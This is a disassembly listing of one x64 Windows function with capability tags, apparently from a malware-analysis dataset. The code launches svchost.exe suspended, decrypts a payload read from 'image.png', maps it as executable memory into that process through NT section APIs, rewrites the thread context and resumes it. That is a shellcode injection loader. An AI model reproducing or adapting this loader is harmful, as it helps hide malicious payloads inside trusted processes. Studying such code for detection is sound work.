Function at 0x14001173f
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread

Disassembly:
jmp 0x1400200d0
push rbp
push rsi
push rdi
sub rsp, 0x9f0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1a8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140034040]
xor rax, rbp
mov qword [rbp + 0x990], rax
lea rcx, [0x14003c119]
call fcn.140011a82
nop
mov ecx, 0x68
call fcn.140011091
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
je 0x14002014a
mov rdi, qword [rbp + 0x818]
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x818]
mov qword [rbp + 0x988], rax
jmp 0x140020155
mov qword [rbp + 0x988], 0
mov rax, qword [rbp + 0x988]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov dword [rax], 0x68
mov rax, qword [rbp + 8]
mov dword [rax + 0x3c], 1
mov ecx, 0x18
call fcn.140011091
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x1400201b0
mov rdi, qword [rbp + 0x838]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x838]
mov qword [rbp + 0x988], rax
jmp 0x1400201bb
mov qword [rbp + 0x988], 0
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x48]
lea rcx, str.svchost.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 0x84], eax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xa8], rax
lea rdx, str.NtCreateSection
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
lea rdx, str.NtMapViewOfSection
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xe8], rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0x128]
call fcn.1400116ef
nop
call fcn.1400115be
nop
lea rcx, [rbp + 0x148]
call fcn.1400116ef
nop
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x858]
call fcn.1400111f4
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140011839
nop
lea rcx, [rbp + 0x168]
call fcn.140011316
movsd qword [rbp + 0x988], xmm0
lea rdx, str.Computation_took:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011140
movsd xmm0, qword [rbp + 0x988]
movaps xmm1, xmm0
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___double____ptr64]
lea rdx, str._seconds.
mov rcx, rax
call fcn.140011140
lea rdx, [0x140011082]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, str.image.png
lea rcx, [rbp + 0x188]
call fcn.140011497
nop
lea rdx, str.config.txt
lea rcx, [rbp + 0x1c8]
call fcn.140011497
nop
mov edx, 0x20
lea rcx, [rbp + 0x208]
call fcn.1400110aa
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x208]
call fcn.140011023
nop
mov edx, 0x110
lea rcx, [rbp + 0x250]
call fcn.140011753
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x250]
call fcn.140011843
nop
lea rcx, [rbp + 0x250]
call fcn.140011064
movzx eax, al
test eax, eax
jne 0x140020448
lea rdx, str.Failed_to_open_file:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011140
lea rdx, [rbp + 0x1c8]
mov rcx, rax
call fcn.140011974
lea rdx, [0x140011082]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x874], 1
lea rcx, [rbp + 0x250]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x208]
call fcn.140011339
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400111f9
nop
lea rcx, [rbp + 0x188]
call fcn.1400111f9
mov eax, dword [rbp + 0x874]
jmp 0x1400207ce
lea rcx, [rbp + 0x894]
call fcn.140011271
mov qword [rbp + 0x988], rax
lea rcx, [rbp + 0x8b8]
call fcn.1400117fd
lea rcx, [rbp + 0x970]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x8e8]
call fcn.140011681
lea rcx, [rbp + 0x940]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x988]
mov r9, rax
lea r8, [rbp + 0x970]
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x378]
call fcn.140011645
nop
lea rcx, [rbp + 0x250]
call fcn.1400115e6
nop
mov edx, 0x20
lea rcx, [rbp + 0x3b8]
call fcn.1400110aa
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x3b8]
call fcn.1400113a7
nop
mov edx, 0x20
lea rcx, [rbp + 0x3f8]
call fcn.1400110aa
lea rcx, [rbp + 0x208]
call fcn.140011b68
mov r8, rax
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x3f8]
call fcn.1400119ec
nop
lea rcx, [rbp + 0x3f8]
call fcn.140011456
mov dword [rbp + 0x458], eax
lea rax, [rbp + 0x45c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rbp + 0x458]
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp + 0x438]
call qword [rbp + 0xc8]
mov dword [rbp + 0x474], eax
mov qword [rbp + 0x498], 0
mov qword [rbp + 0x4b8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rcx, [rbp + 0x4b8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x498]
mov rdx, rax
mov rcx, qword [rbp + 0x438]
call qword [rbp + 0xe8]
mov dword [rbp + 0x474], eax
lea rcx, [rbp + 0x3f8]
call fcn.140011456
mov qword [rbp + 0x988], rax
xor edx, edx
lea rcx, [rbp + 0x3f8]
call fcn.140011a5f
mov rcx, qword [rbp + 0x988]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x498]
call fcn.14001151e
nop
mov qword [rbp + 0x4d8], 0
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rax, [rbp + 0x4b8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x4d8]
mov rax, qword [rbp + 0x28]
mov rdx, qword [rax]
mov rcx, qword [rbp + 0x438]
call qword [rbp + 0xe8]
mov dword [rbp + 0x474], eax
mov ecx, 0x4d0
call fcn.140011091
mov qword [rbp + 0x918], rax
cmp qword [rbp + 0x918], 0
je 0x1400206da
mov rdi, qword [rbp + 0x918]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x918]
mov qword [rbp + 0x988], rax
jmp 0x1400206e5
mov qword [rbp + 0x988], 0
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x4f8]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
nop
mov rax, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x4d8]
mov qword [rax + 0x80], rcx
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp + 0x498]
mov rcx, rax
call qword [rbp + 0x108]
mov dword [rbp + 0x474], eax
lea rcx, [rbp + 0x3f8]
call fcn.140011339
nop
lea rcx, [rbp + 0x3b8]
call fcn.140011339
nop
lea rcx, [rbp + 0x378]
call fcn.1400111f9
nop
lea rcx, [rbp + 0x250]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x208]
call fcn.140011339
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400111f9
nop
lea rcx, [rbp + 0x188]
call fcn.1400111f9
nop
jmp 0x1400207cc
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14002c9d0]
call fcn.1400118ca
mov rax, rdi
mov rcx, qword [rbp + 0x990]
xor rcx, rbp
call fcn.140011519
lea rsp, [rbp + 0x9a0]
pop rdi
pop rsi
pop rbp
ret